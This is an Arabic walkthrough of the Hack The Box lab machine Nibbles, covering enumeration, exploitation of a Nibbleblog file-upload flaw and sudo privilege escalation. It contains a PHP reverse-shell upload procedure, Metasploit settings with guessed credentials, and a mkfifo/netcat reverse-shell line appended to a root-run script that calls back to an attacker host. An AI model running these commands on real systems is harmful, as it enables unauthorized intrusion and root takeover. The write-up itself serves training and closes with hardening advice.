دليل تقني لتحليل آلة Nibbles من Hack The Box: الاستطلاع واستكشاف الثغرات ورفع الصلاحيات

دقائق القراءة: 7

مقدمة حول تحدي Hack The Box وآلة Nibbles

تُعد منصة Hack The Box واحدة من أشهر البيئات التدريبية المتخصصة في اختبار الاختراق وتقييم المهارات الأمنية عملياً. توفر المنصة مجموعة متنوعة من التحديات التي تحاكي أحياناً بيئات واقعية، وأحياناً أخرى تميل إلى أسلوب CTF التعليمي. في هذا المقال سنحلل آلة Nibbles، وهي آلة سهلة نسبياً، لكنّها مفيدة جداً لفهم أساسيات الاستطلاع، وتعداد تطبيقات الويب، واستغلال كلمات المرور الضعيفة، ثم الانتقال إلى رفع الصلاحيات داخل النظام.

هذا النوع من الشروحات مناسب لأغراض تعليمية في بيئات مصرح بها فقط، مع الالتزام بسياسات المنصات التدريبية وعدم تطبيق أي خطوة على أنظمة لا تملك إذناً صريحاً لاختبارها.

واجهة فنية توضيحية لمقال تقني عن تحليل آلة Nibbles من منصة Hack The Boxلقطة شاشة من منصة Hack The Box لآلة Nibbles أثناء التحليل الأمني

سنستخدم خلال هذا الشرح عدة أدوات شائعة في الاختبارات الأمنية، أبرزها:

  • nmap لمسح المنافذ والخدمات.
  • gobuster لاكتشاف المسارات والملفات المخفية.
  • Metasploit لاستغلال الثغرة المعروفة في Nibbleblog.
  • PHP reverse shell للحصول على جلسة عكسية يدوياً.
  • netcat أو nc لالتقاط الاتصال العكسي.

الخطوة الأولى: الاستطلاع وجمع المعلومات

مرحلة الاستطلاع هي الأساس في أي اختبار اختراق ناجح. كلما جمعت معلومات أكثر في البداية، زادت فرصك في تحديد سطح الهجوم بدقة، وتجنب المحاولات العشوائية. لذلك من الأفضل استثمار الوقت في المسح والتعداد قبل التفكير في الاستغلال.

فحص المنافذ باستخدام Nmap

أداة Nmap من أهم الأدوات في اكتشاف الخدمات المفتوحة على الهدف، وتحديد الإصدارات، وأحياناً نوع نظام التشغيل والخدمات الإضافية.

nmap -A -v 10.129.151.27

نتائج فحص Nmap المتقدم على آلة Nibbles في Hack The Box

شرح أهم الخيارات:

  • -A: تفعيل اكتشاف نظام التشغيل، وتحديد الإصدارات، وتشغيل بعض السكربتات، وإظهار المسار.
  • -v: زيادة مستوى التفاصيل في المخرجات.
  • 10.129.151.27: عنوان IP الخاص بالآلة المستهدفة.

إذا أردت مخرجات أبسط، يمكن استخدام فحص مختصر:

nmap 10.129.151.27

فحص Nmap مختصر يوضح المنافذ المفتوحة على آلة Nibbles

النتيجة الأهم هنا هي وجود منفذين مفتوحين:

  • المنفذ 22: خدمة SSH للوصول الآمن وإدارة الملفات والجلسات.
  • المنفذ 80: خدمة HTTP، ويبدو أنها تعمل عبر خادم Apache httpd 2.4.18.

وجود خدمة ويب مفتوحة يجعل البدء بتحليل الموقع خياراً منطقياً، خاصة في الآلات التعليمية التي تركّز على استكشاف تطبيقات الويب.

الخطوة الثانية: تحليل تطبيق الويب واكتشاف المسارات

زيارة الصفحة الرئيسية

عند فتح الموقع على المنفذ 80 تظهر صفحة بسيطة تحتوي على عبارة Hello World. في مثل هذه الحالات لا يكفي النظر إلى الواجهة الظاهرة فقط، بل يجب فحص الشيفرة المصدرية للصفحة أيضاً.

الصفحة الرئيسية لآلة Nibbles وتظهر رسالة Hello World

في الشيفرة المصدرية نجد تعليقاً مهماً:

<!-- /nibbleblog/ directory. Nothing interesting here! -->

تعليق داخل مصدر الصفحة يشير إلى مجلد nibbleblog

هذا النوع من التعليقات قد يكشف مسارات داخلية مهمة، لذا بالانتقال إلى المسار /nibbleblog/ نصل إلى صفحة مدونة تحمل اسم Nibbles Yum Yum.

واجهة مدونة Nibbleblog داخل آلة Nibbles

في أسفل الصفحة يظهر أن الموقع يعمل بواسطة Nibbleblog، وهو نظام تدوين مبني بلغة PHP. معرفة اسم التطبيق وإصداره خطوة محورية، لأنها تربطنا مباشرة باحتمال وجود ثغرات معروفة.

إشارة إلى أن الموقع يعمل بواسطة نظام Nibbleblog

استخدام Gobuster لاكتشاف الملفات والمجلدات

بعد معرفة أن التطبيق قائم على Nibbleblog، تصبح عملية تعداد المسارات ضرورية. هنا نستخدم أداة Gobuster، وهي أداة سريعة لاكتشاف الأدلة والملفات اعتماداً على قوائم كلمات.

شرح استخدام Gobuster لاكتشاف مسارات تطبيق الويب في Nibbles

الأمر المستخدم:

gobuster dir -u 10.129.151.27 -w /usr/share/wfuzz/wordlist/general/common.txt -x php,txt

هذا الأمر يعني:

  • dir: تفعيل نمط البحث عن الأدلة والمسارات.
  • -u: تحديد الرابط الهدف.
  • -w: اختيار قائمة الكلمات.
  • -x php,txt: البحث أيضاً عن الملفات ذات الامتدادين .php و.txt.

أسفر الفحص عن عدة نتائج مهمة، من بينها:

  • /content/
  • /install.php
  • /update.php
  • /admin/
  • /admin.php
  • /users.xml

قراءة الملفات الحساسة

بعض هذه المسارات يحتوي على معلومات مفيدة جداً في بيئات الاختبار الضعيفة. على سبيل المثال، عند فتح /install.php ثم التفاعل مع خيارات التحديث نصل إلى صفحة /update.php.

واجهة ملف install.php في تطبيق Nibbleblogصفحة update.php التي تعرض روابط ومعلومات داخلية عن Nibbleblog

من الروابط المكتشفة، يظهر ملف إعدادات خاص:

10.129.151.27/nibbleblog/content/private/config.xml

ملف config.xml داخل Nibbleblog ويحتوي على بيانات مفيدة

داخل ملف XML نجد البريد الإلكتروني التالي:

admin@nibbles.com

ورغم أن البريد لا يمنح وصولاً مباشراً، فإنه قد يساعد في تخمين اسم المستخدم أو نمط كلمة المرور.

الوصول إلى صفحة تسجيل الدخول

عند زيارة /admin/ ثم /admin.php نجد أخيراً صفحة تسجيل الدخول الخاصة بالمدونة.

مجلد admin في تطبيق Nibbleblogواجهة تسجيل الدخول في لوحة تحكم Nibbleblog

تمت تجربة بيانات اختبارية لفهم سلوك النموذج:

username=test&password=test

اختبار نموذج تسجيل الدخول ببيانات تجريبية في Nibbleblog

بعد ذلك، يبرز ملف /users.xml كأحد أهم الاكتشافات. من خلاله نلاحظ وجود اسم المستخدم admin، بالإضافة إلى مؤشرات على آلية حظر أو قائمة سوداء تسجل محاولات الفشل وعنوان IP الخاص بالمهاجم. هذا يعني أن هجوم التخمين الكثيف أو Brute Force لن يكون عملياً هنا، لذا يصبح التخمين الذكي أكثر منطقية.

ملف users.xml ويكشف اسم المستخدم admin وآلية الحظر

الخطوة الثالثة: استغلال ثغرة Nibbleblog

من صفحة /update.php يمكن ملاحظة إصدار التطبيق:

Nibbleblog 4.0.3 "Coffee"

الخطوة التالية الطبيعية هي البحث عن ثغرات معروفة لهذا الإصدار. بالبحث تظهر ثغرة منشورة في Exploit Database مرتبطة برفع ملفات يؤدي إلى تنفيذ أوامر عن بُعد.

نتيجة البحث عن ثغرة Nibbleblog 4.0.3 في Exploit Database

رابط الثغرة المشار إليه:

https://www.exploit-db.com/exploits/38489

الاستغلال باستخدام Metasploit

يوفر Metasploit وحدة جاهزة لهذه الثغرة، ما يجعل الاستغلال أسرع وأسهل في البيئة التعليمية. بعد تشغيل الإطار، يفضل تحديثه أولاً:

msfupdate

ثم البحث عن الوحدة المناسبة:

search nibbleblog

البحث عن وحدة استغلال Nibbleblog داخل Metasploit

يمكن عرض تفاصيل الوحدة عبر:

info 0

معلومات وحدة الاستغلال الخاصة بـ Nibbleblog في Metasploit

وتتضمن التفاصيل المتطلبات الأساسية، وأهمها وجود بيانات دخول صحيحة.

خيارات ومتطلبات استغلال Nibbleblog في Metasploit

كما تظهر مراجع أمنية مهمة مثل:

  • CVE-2015-6967
  • مدونة بحثية تشرح الاستغلال اليدوي.

مرجع CVE للثغرة الأمنية في Nibbleblogمرجع بحثي يشرح الاستغلال اليدوي لثغرة Nibbleblog

اختيار الوحدة:

use 0

بعدها تظهر الوحدة بالشكل التالي:

exploit(multi/http/nibbleblog_file_upload)

تفعيل وحدة exploit multi http nibbleblog file upload في Metasploit

ثم ضبط الإعدادات:

set USERNAME admin
set PASSWORD nibbles
set RHOSTS 10.129.151.27
set LHOST 10.10.14.110
set TARGETURI /nibbleblog/

تم الوصول إلى بيانات الدخول admin:nibbles عبر ملاحظة اسم المستخدم من /users.xml وتخمين كلمة مرور بسيطة مرتبطة باسم المنصة والبريد المكتشف.

بعد ضبط الخيارات، يمكن التحقق من قابلية الاستغلال عبر الأمر:

check

فحص قابلية الاستغلال لثغرة Nibbleblog باستخدام Metasploit

ثم مراجعة الإعدادات وتشغيل الاستغلال:

run

مراجعة خيارات الاستغلال قبل التشغيل في Metasploitالحصول على جلسة Meterpreter بعد استغلال Nibbleblog

عند النجاح نحصل على جلسة Meterpreter، وهي حمولة متقدمة تسمح بالتفاعل المرن مع النظام الهدف بعد الاختراق.

الاستغلال اليدوي بدون Metasploit

إذا أردت فهماً أعمق للثغرة، فالتنفيذ اليدوي مفيد جداً. بعد تجربة بيانات الدخول admin:nibbles على صفحة /admin.php يتضح أنها صحيحة.

تسجيل الدخول الناجح إلى لوحة Nibbleblog باستخدام admin nibblesلوحة تحكم Nibbleblog بعد تسجيل الدخول الناجح

من تبويب Plugins ثم My image يمكن رفع ملف PHP على هيئة صورة، وهي نقطة الضعف التي تسمح بتنفيذ شيفرة عكسية.

تبويب Plugins في Nibbleblog مع إضافة My Imageواجهة رفع ملف داخل إضافة My Image في Nibbleblog

تم استخدام شيفرة PHP reverse shell المعروفة، مع تعديل المتغير $IP ليتوافق مع عنوان جهاز المستلم:

nano image.php
$IP = '10.10.14.110';

إنشاء ملف image.php لتحضير reverse shell بلغة PHPتعديل متغير IP داخل reverse shell قبل رفعه إلى Nibbleblog

بعد رفع الملف إلى الإضافة، يتم تجهيز مستمع على الجهاز المحلي:

nc -nlvp 1234

ثم زيارة الملف المرفوع لتفعيل الاتصال العكسي:

10.129.151.27/nibbleblog/content/private/plugins/my_images/image.php

رفع ملف PHP reverse shell داخل Nibbleblogاستقبال جلسة عكسية عبر netcat بعد تفعيل ملف PHP المرفوع

بهذه الطريقة نحصل على وصول أولي إلى النظام دون الحاجة إلى إطار استغلال كامل.

الخطوة الرابعة: الوصول إلى ملف user.txt

بعد الحصول على جلسة على النظام، تبدأ مرحلة الاستكشاف الداخلي. من المهم معرفة المجلد الحالي والتنقل بين الأدلة حتى الوصول إلى مجلدات المستخدمين.

تحديد موقع الجلسة الحالية على النظام بعد الاختراقالتنقل داخل أدلة النظام للبحث عن ملف user.txt

بعد الوصول إلى المجلد المناسب، يمكن قراءة العلم الأول باستخدام:

cat user.txt

الخطوة الخامسة: رفع الصلاحيات والوصول إلى root.txt

الوصول الأولي إلى النظام ليس نهاية المهمة. الجزء الأهم غالباً هو اكتشاف كيف يمكن الانتقال من مستخدم محدود الصلاحيات إلى المستخدم root.

عند محاولة دخول مجلد /root مباشرة يتبين أنه غير مسموح.

رفض الوصول إلى مجلد root قبل رفع الصلاحيات

لتحسين الجلسة الحالية يمكن طلب صدفة تفاعلية:

shell

ثم إنشاء TTY حقيقي باستخدام python3:

python3 -c "import pty; pty.spawn('/bin/bash/');"

ترقية الجلسة إلى TTY باستخدام python3

بعد ذلك نراجع أوامر sudo المسموح بها للمستخدم الحالي:

sudo -l

نتيجة sudo -l وتوضح أمراً قابلاً للتنفيذ بصلاحيات root

تظهر النتيجة أن المستخدم Nibbler يستطيع تنفيذ الملف /home/nibbler/personal/stuff/monitor.sh بصلاحيات root من دون كلمة مرور. هذه فرصة مباشرة لرفع الصلاحيات إذا أمكن تعديل الملف أو محتواه.

اكتشاف الملف وتعديل محتواه

بالعودة إلى مجلد /home/nibbler/ يظهر ملف مضغوط باسم personal.zip. بعد فك الضغط:

unzip personal.zip

فك ضغط personal.zip والعثور على monitor.sh

يمكن قراءة محتوى الملف المطلوب:

cat monitor.sh

محتوى الملف monitor.sh قبل التعديل

تمت إضافة أمر reverse shell إلى نهاية الملف:

echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.110 1234 > /tmp/f" >> monitor.sh

إضافة أمر reverse shell إلى monitor.sh لرفع الصلاحيات

بعدها تتم مراجعة الملف للتأكد من نجاح الإضافة:

التحقق من تعديل monitor.sh قبل تشغيله بصلاحيات root

على الجهاز المحلي، يُشغَّل مستمع جديد لالتقاط الاتصال:

تشغيل netcat listener قبل تنفيذ monitor.sh بصلاحيات root

ثم يُنفذ السكربت المسموح عبر sudo:

sudo /home/nibbler/personal/stuff/monitor.sh

تشغيل monitor.sh بصلاحيات root للحصول على جلسة مرتفعة

بمجرد نجاح الاتصال، تصبح الجلسة بصلاحيات root. يمكن عندها دخول المجلد الجذر وقراءة العلم النهائي:

cat root.txt

قراءة ملف root.txt بعد نجاح رفع الصلاحيات في آلة Nibbles

الدروس الأمنية المستفادة من آلة Nibbles

هذه الآلة تُظهر بوضوح كيف يمكن لسلسلة من الأخطاء الصغيرة أن تؤدي إلى اختراق كامل للنظام. من أبرز الدروس:

  • الاعتماد على كلمات مرور بسيطة مثل admin:nibbles يسهّل الوصول غير المصرح به.
  • كشف الملفات الحساسة مثل config.xml وusers.xml يسرّع مرحلة التعداد بشكل كبير.
  • وجود إصدار قديم من Nibbleblog يحتوي على ثغرة معروفة يجعل الاستغلال شبه مباشر.
  • السماح بتنفيذ سكربت عبر sudo من دون كلمة مرور، مع إمكانية تعديله، يُعد خطراً بالغاً على مستوى النظام.

توصيات الحماية والمعالجة

  • استخدام كلمات مرور قوية وفريدة وتجنب أي بيانات افتراضية أو سهلة التخمين.
  • تحديث أنظمة إدارة المحتوى والإضافات باستمرار، وخاصة الإصدارات التي تتوفر لها CVE معلنة.
  • تقييد الوصول إلى الملفات الداخلية وعدم كشف ملفات الإعدادات أو المستخدمين عبر الويب.
  • تطبيق مبدأ أقل الصلاحيات Principle of Least Privilege على المستخدمين والخدمات والأوامر المسموح بها عبر sudo.
  • مراجعة صلاحيات الملفات القابلة للتنفيذ والتأكد من عدم إمكانية تعديلها من مستخدمين غير موثوقين.

صورة ختامية لمقال تقني حول تحليل واختبار اختراق آلة Nibbles

الخلاصة التقنية

تحليل آلة Nibbles يوضح أن النجاح في اختبار الاختراق لا يعتمد دائماً على تعقيد الثغرة، بل على جودة الاستطلاع وربط المؤشرات الصغيرة ببعضها. بدأ المسار من تعليق بسيط في مصدر الصفحة، ثم انتقل إلى تعداد ذكي للملفات، فاستغلال إصدار ضعيف، وأخيراً رفع صلاحيات مبني على سوء إعداد sudo. من الناحية التقنية، هذه الآلة نموذج ممتاز لفهم كيفية بناء سلسلة هجوم متكاملة انطلاقاً من أخطاء شائعة يمكن منعها بإجراءات أمنية أساسية لكنها حاسمة.

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *